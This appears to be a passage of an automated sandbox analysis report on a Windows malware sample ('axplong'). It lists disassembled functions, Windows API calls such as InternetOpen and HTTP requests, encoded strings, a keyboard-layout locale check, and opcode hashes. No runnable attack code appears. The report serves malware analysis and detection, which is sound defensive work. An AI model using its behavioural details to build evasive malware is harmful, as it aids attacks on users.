MJF+, xrefs: 009047BD, 009048EC, 00904ADC, 00904C0B
fed3aa, xrefs: 00905489
KFT0PL==, xrefs: 009054B9
WJP6, xrefs: 009053A3
aqB6, xrefs: 009054DB
V0N6, xrefs: 0090537A
Fz==, xrefs: 0090369E, 00904D2D
246122658369, xrefs: 00904F3A, 00904F4D, 00904F8F, 00904F99, 009054F4
9526, xrefs: 0090531D
mP=, xrefs: 00906383, 00906652
6F9fr==, xrefs: 00904712
Vp 6, xrefs: 00905447
96B6, xrefs: 00905470
stoi argument out of range, xrefs: 00904269, 00904EAC
JB6, xrefs: 009053F5
9KN6, xrefs: 00905351
8ZF6, xrefs: 00905502
5F6, xrefs: 00905497
MJB+, xrefs: 00904776, 009047ED, 00904A95, 00904B0C
aZT6, xrefs: 009053CC
V0x6, xrefs: 0090541E

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$246122658369$8ZF6$9526$96B6$9KN6$Fz==$KFT0PL==$MJB+$MJF+$V0N6$V0x6$Vp 6$WJP6$aZT6$aqB6$fed3aa$stoi argument out of range
API String ID: 2414744145-1662704651
Opcode ID: 87d6dc3d8a4164fb04200d3b1f9da87153f9ac900ba61891e389268850b4d56a
Instruction ID: 0e67672c97733a34d992da8a780ee709b0ad92fc6315c422c7b8b6a411af3360
Opcode Fuzzy Hash: 87d6dc3d8a4164fb04200d3b1f9da87153f9ac900ba61891e389268850b4d56a
Instruction Fuzzy Hash: F6231371E002589FEB19DB28CD8979DBB76AB81304F5081D8E448AB2D6EB359FC4CF51

Function 008F5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000422, xrefs: 008F5FD9
0000043f, xrefs: 008F603B
00000423, xrefs: 008F600A
00000419, xrefs: 008F5FA8
Keyboard Layout\Preload, xrefs: 008F5F64

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: efc5b3c09422a19f8c4302db2dfecda581c67d2a26719ef1b0813b84c32626a6
Instruction ID: 2b3782021958499aa041d3f4ba10bf87303f8a52dfc62c447ee531162c7c8f21
Opcode Fuzzy Hash: efc5b3c09422a19f8c4302db2dfecda581c67d2a26719ef1b0813b84c32626a6
Instruction Fuzzy Hash: 8EE17D7190121CAFEB24DFA4CC89BEEB779EB44304F5042D9E509A7291EB74ABC48F51

Function 008F7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 008F7EA3

Strings

JmpyPb==, xrefs: 008F810A
JmpxRL==, xrefs: 008F8062
JmpxQb==, xrefs: 008F81B2

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JmpxQb==$JmpxRL==$JmpyPb==
API String ID: 1721193555-2057465332
Opcode ID: f6aa4d16a8ab37db4555c762e975c8aabb82854bb058c59c9dc2aa8ec0e2c9db
Instruction ID: cb29cb8010b683c0e446d5955bc010aa9175004a5d865a6d45a53ee4b21f6e34
Opcode Fuzzy Hash: f6aa4d16a8ab37db4555c762e975c8aabb82854bb058c59c9dc2aa8ec0e2c9db
Instruction Fuzzy Hash: 97D1E870E0460C9BDB14EB78CD5A3AD7B61FB82324F904298E915A73C2DB359E8487D2

Function 00926E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000), ref: 00926E23
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00926E7D
__dosmaperr.LIBCMT ref: 00926F12

Part of subcall function 00927177: __dosmaperr.LIBCMT ref: 009271AC

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 15eb1d6a9494168f744c2645cc12916a3a95f9dcd578f60c4069e7f0bbd100b6
Instruction ID: 633fc8fe20fb7f6f930cc5dd9b83fb3cabfb98aa82f401d21f5913c4049cdbf1
Opcode Fuzzy Hash: 15eb1d6a9494168f744c2645cc12916a3a95f9dcd578f60c4069e7f0bbd100b6
Instruction Fuzzy Hash: 53414C75901214ABDF24EFB5E945AEFBBF9EF89300B10442DF856E3614EB319904CB61

Function 00907870 Relevance: 4.6, APIs: 3, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 0090795C
__Cnd_destroy_in_situ.LIBCPMT ref: 00907968
__Mtx_destroy_in_situ.LIBCPMT ref: 00907971

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID:
API String ID: 4078500453-0
Opcode ID: 4b76d14983b09e25be49b2148554f8dff1441acfb0cc5511829b1c0a2e40eddb
Instruction ID: c78edf0d668a1f1707779736202bc237157809bece9b8a2d28d8fffedfca053c
Opcode Fuzzy Hash: 4b76d14983b09e25be49b2148554f8dff1441acfb0cc5511829b1c0a2e40eddb
Instruction Fuzzy Hash: 0F31D2B29047059FD720DFA8D845B6AF7ECEF54320F000A2AE955C7681E771FA5487A1

Function 0092D4F4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05491c0d858248bfc0a53133a9a85c5623af4305ed80757a5d429151a4f59f2a
Instruction ID: 743d630e1eeefd5c370988ced7939f0be65da4847e57d8720250e46e530cc70a
Opcode Fuzzy Hash: 05491c0d858248bfc0a53133a9a85c5623af4305ed80757a5d429151a4f59f2a
Instruction Fuzzy Hash: DA612672D062348FDF21EFA8F884BEDB7A8AF95314F244015E444A729CC7718C048B91

Function 008F82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 008F8454

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: fc6be6d5adc3767f7a94c7bda99ff293e66ab4034fc916091125e559a9adbf2f
Instruction ID: 11a3b13d6bf5fc9f7d4411aab0d9d5adb2e2c068aaa846b6908da8bf6a110896
Opcode Fuzzy Hash: fc6be6d5adc3767f7a94c7bda99ff293e66ab4034fc916091125e559a9adbf2f
Instruction Fuzzy Hash: F551157190021CDBDB24EB78CD49BEDB775EB56314F504298E904E73D1EB309A848BA5

Function 00926C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd84a900e14171b8728d4a3bb65b15b809a55f7157b0434924b50d7d1bf5603f
Instruction ID: 0907087326920c88d2fd07707fc23e510902d969642de8b58b46db9ae8ea0322
Opcode Fuzzy Hash: fd84a900e14171b8728d4a3bb65b15b809a55f7157b0434924b50d7d1bf5603f
Instruction Fuzzy Hash: DC210A72A052287AEB11BBA4BC42F9F772D9F82338F204310F9243B1D5DB705E0596A1

Function 00926F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?), ref: 00926FB3

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 483e2c8f92b300a460a1bb2d7ddbb88f9e233f6a0c33ce7c1a7c72f1052d6867
Instruction ID: b7624319a950309b86122b7764b4267df0669295bc62806446ae4cdc12d63a22
Opcode Fuzzy Hash: 483e2c8f92b300a460a1bb2d7ddbb88f9e233f6a0c33ce7c1a7c72f1052d6867
Instruction Fuzzy Hash: 021118B290020CABCF00DEA5E984EDFB7BCAF4C310F604666E515E2180EB30EB44CB61

Function 0092D6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0092A5ED,?,009274AE,?,00000000,?), ref: 0092D730

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f2efee4dd61b768f330819061d6ce4c581cc688b8b395c20cdee85e2e09374a6
Instruction ID: cc5786806b1c7ae84e03e0342d88abf733507a652fd298057554365df65101d5
Opcode Fuzzy Hash: f2efee4dd61b768f330819061d6ce4c581cc688b8b395c20cdee85e2e09374a6
Instruction Fuzzy Hash: 15F0E97164B135669F227A22BC01B5B3B9DAF817B0B184511AC08EA199CF38ED0047E1

Function 0092AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00906B27,?,?,0090D32C,00906B27,?,009078FB,8B18EC84,05280A88), ref: 0092AF3E

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c7872a298107b8598f810de7dcae96bfc96ca77e4d934527f6eef2ab800089f4
Instruction ID: dcd8b7dec182752e896b5972a122e031474c06932eb801f694c96d42f8c34591
Opcode Fuzzy Hash: c7872a298107b8598f810de7dcae96bfc96ca77e4d934527f6eef2ab800089f4
Instruction Fuzzy Hash: BBE02B7321A23157EB2132667E00BEB768DAF813B1F040051AD589219CCF2CDC0052E3

Function 00906AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00906B65

Memory Dump Source

Source File: 00000006.00000002.3387924782.00000000008F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3387897532.00000000008F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3387924782.0000000000952000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388039573.0000000000959000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.000000000095B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000AF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BCC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000BF9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388069389.0000000000C13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388467481.0000000000C14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388812602.0000000000DB6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3388852687.0000000000DB8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a45d64daf01a10eee9d8d285cc9f1f38f12cad2f615b885261e048e7b0337824
Instruction ID: 75a07da6e0233a3af3c05c89d1887db8b75401fc820b232d6181055d253dcef8
Opcode Fuzzy Hash: a45d64daf01a10eee9d8d285cc9f1f38f12cad2f615b885261e048e7b0337824
Instruction Fuzzy Hash: 6DF0D171E14608ABC600BBB99D06B1DBB74EB87760F800358E911672E1DB346A0487E3

Function 052F0B7E Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d4b43073d1733caa1b52f918e3a8650a92a00cacbdaa50956a6bde2dd3bed12
Instruction ID: dbf59151ef4e8e7461f9a8c47a277fe00e9d701bd896007db7bfb926f53f7498
Opcode Fuzzy Hash: 7d4b43073d1733caa1b52f918e3a8650a92a00cacbdaa50956a6bde2dd3bed12
Instruction Fuzzy Hash: B53189EB17C124BD7151C5427B6CAFBA76EE9C2730330843AFA03C5907E2D90A591231

Function 052F0BA7 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_52f0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d49c407991fa48dc7c542a08ae432a426286d0c2009a9840e0075198626869c
Instruction ID: f28474a2e4e3dc6c7db09793d2ac7afbca1fb040e949a6dfdec0d2ef1c21a8ea
Opcode Fuzzy Hash: 4d49c407991fa48dc7c542a08ae432a426286d0c2009a9840e0075198626869c
Instruction Fuzzy Hash: D03189EB53C124BD7052C0417F2CAFAAB6EE9D2734330843AFA07C5903E2D90A591231

Function 052F0B69 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3391611597.00000000052F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 052F0000, based on PE: false

Joe Sandbox IDA Plugin

